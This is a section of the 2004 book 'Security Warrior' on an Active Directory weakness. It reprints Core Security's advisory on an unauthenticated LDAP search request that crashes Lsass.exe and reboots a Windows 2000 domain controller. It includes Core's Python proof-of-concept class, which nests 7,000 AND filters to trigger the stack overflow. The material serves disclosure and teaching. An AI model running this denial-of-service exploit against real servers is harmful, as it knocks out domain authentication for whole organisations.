14.5 Active Directory Weaknesses

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Core Security Technologies uncovered another weakness in the Windows Server security architecture. According to their advisory (reprinted with permission):

Active Directory, which is an essential component of the Windows 2000 architecture, presents organizations with a directory service designed for distributed computing environments. Active Directory allows organizations to centrally manage and share information on network resources and users while acting as the central authority for network security.

The directory services provided by Active Directory are based on the Lightweight Directory Access Protocol (LDAP) and thus Active Directory objects can be stored and retrieved using the LDAP protocol. A vulnerability in Active Directory allows an attacker to crash and force a reboot of any Windows 2000 Server running the Active Directory service. The vulnerability can be triggered when an LDAP version 3 search request with more than 1,000 "AND" statements is sent to the server, resulting in a stack overflow and subsequent crash of the Lsaas.exe service. This in turn will force a domain controller to stop responding, thus making possible a denial of service attack against it. The LDAP request does not need to be authenticated.

Core goes on to provide the following sample exploit:

A "search request" created using LDAP version 3, constructed with more than 1,000 ANDs , will provoke a stack overflow, making the Lsass.exe service crash and reboot the machine within 30 seconds. To reproduce the stack overflow, you need to create a "search request" to an Active Directory server. The "search request" must search for a nonexistent machine within the Domain Controller to which you've previously bound. It must be composed with more than 1000 AND statements but it is supposed that OR, GE, LE and other binary operators will yield the same results.

Here's the Python script Core provides in order to create such a request:

 class ActiveDirectoryDOS( Ldap ):      def __init_  _(self):          self._s = None          self.host = '192.168.0.1'          self.basedn = 'dc=bugweek,dc=corelabs,dc=core-sdi,dc=com'          self.port = 389          self.buffer = ''          self.msg_id = 1          Ldap.__init_  _(  )      def generateFilter_BinaryOp( self, filter ):          filterBuffer = asn1.OCTETSTRING(filter[1]).encode(  ) +              asn1.OCTETSTRING(filter[2]).encode(  )          filterBuffer = self.encapsulateHeader( filter[0], filterBuffer )          return filterBuffer      def generateFilter_RecursiveBinaryOp( self, filter, numTimes):          simpleBinOp = self.generateFilter_BinaryOp( filter )          filterBuffer = simpleBinOp          for cnt in range( 0, numTimes ):              filterBuffer = self.encapsulateHeader( self.LDAP_FILTER_AND,                  filterBuffer + simpleBinOp )          return filterBuffer      def searchSub( self, filterBuffer ):          self.bindRequest(  )          self.searchRequest( filterBuffer )      def run(self, host = '', basedn = '', name = '' ):          # the machine must not exist          machine_name = 'xaxax'          filterComputerNotInDir = (Ldap.LDAP_FILTER_EQUALITY,'name',machine_name)          # execute the anonymous query          print 'executing query'          filterBuffer = self.generateFilter_RecursiveBinaryOp(              filterComputerNotInDir, 7000 )          self.searchSub( filterBuffer )" 
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Security Warrior
Security Warrior
ISBN: 0596005458
EAN: 2147483647
Year: 2004
Pages: 211

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